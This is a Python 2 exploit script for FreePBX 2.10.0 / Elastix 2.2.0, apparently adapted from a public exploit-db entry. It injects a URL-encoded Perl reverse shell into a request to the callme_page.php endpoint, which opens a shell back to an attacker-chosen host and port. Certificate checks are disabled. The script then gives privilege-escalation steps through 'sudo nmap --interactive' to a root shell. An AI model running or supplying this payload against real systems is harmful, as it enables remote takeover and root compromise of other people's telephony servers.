#!/usr/bin/env python
import urllib
import ssl
import sys

print "[*]\"FreePBX 2.10.0 / Elastix 2.2.0\" exploit with SSL"
print "[*] Link: https://www.exploit-db.com/exploits/18650/"
print ""

## Remote host
rhost = raw_input("[*] RHOST: ")

## Local host
lhost = raw_input("[*] LHOST: ")

## Local Port
lport = raw_input("[*] LPORT: ")

## User extension
extension = raw_input("[*] Extension: ")

## Reverse shell payload
url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

try:
  ## Generate the SSL context
  context = ssl._create_unverified_context()

  ## Open URL with the SSL context
  print "[*] Send URL request ..."
  urllib.urlopen(url, context=context)
  print "[*] Success!"

except:
  print "[!] Ouuups! Something goes wrong!"
  sys.exit()

print ""
print "[*] The folling commands can help you to gain a root shell"
print "[*] sudo nmap --interactive"
print "[*] nmap> !sh"
print "[*] id"
print "[*] uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)"
